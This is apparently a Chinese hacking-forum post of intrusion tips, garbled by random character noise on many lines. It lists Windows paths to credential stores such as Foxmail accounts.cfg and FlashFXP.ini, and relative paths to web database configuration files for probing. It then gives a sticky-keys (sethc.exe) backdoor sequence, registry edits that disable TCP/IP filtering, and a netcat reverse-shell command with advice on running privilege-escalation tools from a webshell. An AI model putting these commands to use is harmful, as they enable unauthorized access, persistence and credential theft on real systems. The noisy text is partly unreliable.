, W, ?0 ~6 Q% }2 e, g- A0 Lc:\Program Files\QQ2007\qq.exe
* E  J; f1 _3 Ec:\Program Files\Tencent\qq\User.db
. e0 m/ S) J* L" j0 hc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
+ R( X& B2 m8 G8 _: [c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
. e- E7 X) i2 gC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
3 f2 V" C* q' \" M4 Z9 c; Mc:\Program Files\Tencent\RTXServer\AppConfig.xml
# W: E* F9 _% P. {# {C:\Program Files\Foxmal\Foxmail.exe
3 A1 o1 A2 T# L) s% x8 i* CC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
- V0 B0 A1 a; d" H1 k, [/ OC:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
, o9 W+ N" U4 I3 B1 tC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
! Z  t4 d* T4 f1 |c:\Program Files\腾讯游戏\QQGAME\readme.txt
5 Q, A, X$ J4 X4 M$ Oc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
$ b. D  f; d/ E+ B& \; m2 xC:\Program Files\StormII\Storm.exe

/ f) k& ?! [! {- e3.网站相对路径:

/config.php
$ E4 E% ^! s2 i# C) c: x../../config.php
" P: H) p4 H" y../config.php
  E0 K5 [# s: _1 v- F/ A../../../config.php
' a* F. F3 [* {) e) e/config.inc.php
% }! z7 J$ e* J0 `+ k+ C) V5 f./config.inc.php
; m4 O, \2 \  z/ h0 {1 u../../config.inc.php
../config.inc.php
( F7 V" p6 d2 L0 [0 q( p../../../config.inc.php
- e; l; k0 d; @/conn.php
./conn.php
6 l2 V: V- J; A+ ^- p- p0 ]9 I! v../../conn.php
../conn.php
../../../conn.php
4 [! c6 U+ O7 \8 s. j1 C% g; g# p' c/conn.asp
! @; X9 n' z4 h* l$ w' h( v" ]./conn.asp
0 r& x9 P5 w% w& {& n. d" X7 X../../conn.asp
../conn.asp
../../../conn.asp
; ]* }9 ]. U, }4 ^  j0 K$ w* t2 D4 K/config.inc.php
./config.inc.php
7 u+ H  @1 }# l../../config.inc.php
0 i2 Q! V: n; q3 G1 \. W/ R, q../config.inc.php
../../../config.inc.php
/config/config.php
* B9 s  k; Y/ P5 n0 V, |+ B../../config/config.php
../config/config.php
* S8 O- r% o; n, S; l../../../config/config.php
/ f) ?  E' Z% A& R/config/config.inc.php
0 ^) U# d7 h' r: w9 `/ g, @5 m; B./config/config.inc.php
../../config/config.inc.php
! @: f% S* B( X  ^../config/config.inc.php
# J$ I1 Z$ d5 A& S6 D../../../config/config.inc.php
/config/conn.php
5 S, Z- I* T4 `7 b+ `./config/conn.php
../../config/conn.php
" k0 g6 v% k- h+ g" a7 b../config/conn.php
3 J0 g. z5 ^; K7 W) v0 f" Q5 d../../../config/conn.php
/config/conn.asp
./config/conn.asp
% w9 R% w2 T1 x, u2 e* r* m../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
( |4 I. L3 D, B/ a: N5 b6 }% w/config/config.inc.php
./config/config.inc.php
. T" G5 @% g- K3 w+ e6 ?../../config/config.inc.php
# g, w6 M0 L2 @+ O* M% |../config/config.inc.php
../../../config/config.inc.php
/data/config.php
8 g# M9 S5 E$ U../../data/config.php
6 \. T0 Z- H* _../data/config.php
6 k6 @  L) d' ~/ {' l9 A9 r6 @, [7 e../../../data/config.php
/data/config.inc.php
% t7 N- M9 p7 K./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
7 \  T; |5 D- s2 t4 ]+ ]./data/conn.php
0 z$ b! D+ M8 ~../../data/conn.php
../data/conn.php
../../../data/conn.php
; ^+ ~$ f% R. ~2 T8 l/data/conn.asp
./data/conn.asp
../../data/conn.asp
3 D$ H. K' D  U5 o../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
9 M7 k7 g. B& \5 r5 R- }% Y6 u../../../data/config.inc.php
" N  }! Z' C4 x7 }- z) [0 b/include/config.php
../../include/config.php
5 ?" x) _( V" k# u../include/config.php
../../../include/config.php
/include/config.inc.php
./include/config.inc.php
0 Y8 i& H" }6 R) \( h5 Q2 f# r../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
4 v/ S8 `8 z! v2 g/include/conn.php
; b8 A) g9 k1 s1 z' W* W- N5 S./include/conn.php
  K9 m' w& s: u3 \& n! w../../include/conn.php
; P' d/ a5 D  y& C" k../include/conn.php
& I/ F$ _/ u1 t  }4 a( \% o../../../include/conn.php
3 V" @6 }/ g- ^1 s% \/include/conn.asp
( I$ h5 _( q) S./include/conn.asp
4 N# M" U& W' A& V( [../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
" d3 ?8 U  T  v4 u/include/config.inc.php
& \$ p& P1 A) G* t3 J./include/config.inc.php
9 g% S# B: ^! a8 h6 ~0 k../../include/config.inc.php
6 s# c3 B$ T/ ]. q/ K* F3 [" [../include/config.inc.php
../../../include/config.inc.php
/ m& c/ f" i2 s' S/inc/config.php
" V( I2 i* i2 K- u+ l0 Q../../inc/config.php
../inc/config.php
- B# C& z5 }; M9 v, W6 o4 ]6 N../../../inc/config.php
0 a$ [! f' v' U5 M' V- s! c/inc/config.inc.php
5 f2 W" ]2 R/ h' y# J3 v./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
' [, ^: J/ z/ |# I9 h( \../../../inc/config.inc.php
1 ]4 I4 L# j" U! V9 P/inc/conn.php
./inc/conn.php
4 u" p$ M8 J3 ?../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
5 W& E* z  G! Q) y3 Q./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
' J& F) K% O+ n./inc/config.inc.php
3 x$ D/ ^+ i2 K) u../../inc/config.inc.php
../inc/config.inc.php
  U- _6 w0 S/ D$ R% ]5 N' k' z7 a../../../inc/config.inc.php
8 U9 N8 l$ s" P+ e/index.php
/ C* |0 ?: J6 R, z./index.php
% h8 E- R$ t* j../../index.php
0 r+ @! k6 g% P../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
* P  |9 _2 {2 Q: R% _& `! R- m../index.asp
../../../index.asp
替换SHIFT后门
) W1 E; n0 r9 R  u　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

* a# G, J7 e+ M6 {& |2 ~: w- G/ x　　del c:\windows\system32\sethc.exe
, {2 u! E& X" g
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
/ x4 P$ T. t! O+ b- c( q; b6 P
* C' P) d$ t1 A- f" ?+ t　　attrib c:\windows\system32\sethc.exe +h +r +s
( s! ~6 ^, F# ~( B
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
& {' U, Z3 x* A去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
" Z# x! Z) E5 T; O! v  g1 a8 WHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
6 J; E- l  Y5 i1 B3 h  }: s# mHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
* x2 r4 h* R4 C1 h* g- wHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

0 A% k; d: S' g6 C1 P1 a5 E5 g分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
9 u' p3 s/ m1 N" B* f! M" ~& bregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
$ \" `4 X0 _; A3 E命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

/ z+ @" m# Y  M. Q$ t再将以上三个文件分别用
regedit -s D:\a.reg
# V' ], B, u  c5 H/ [$ r* ~regedit -s D:\b.reg
. P* B1 \" j5 y! }* ~+ wregedit -s D:\c.reg
导入注册表即可
5 y, A3 r3 t0 Y+ g
$ w% ?0 z5 [5 H) F& ^! `0 O9 Ewebshell提权小技巧
' h- `+ d$ u. m9 Dcmd路径:
c:\windows\temp\cmd.exe
8 e+ [- T  q6 inc也在同目录下
+ \) d* P; ~  C. A例如反弹cmdshell：
) H. \6 J3 J0 P$ B5 m# w"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
( @0 M. i1 n3 ^: {# Z- a1 z通常都不会成功。
* Q6 @' L; s3 V
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
1 S5 A: e7 q# k$ Q, B: }* ]命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
" l# t8 R- Q# ~- {$ p6 r这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功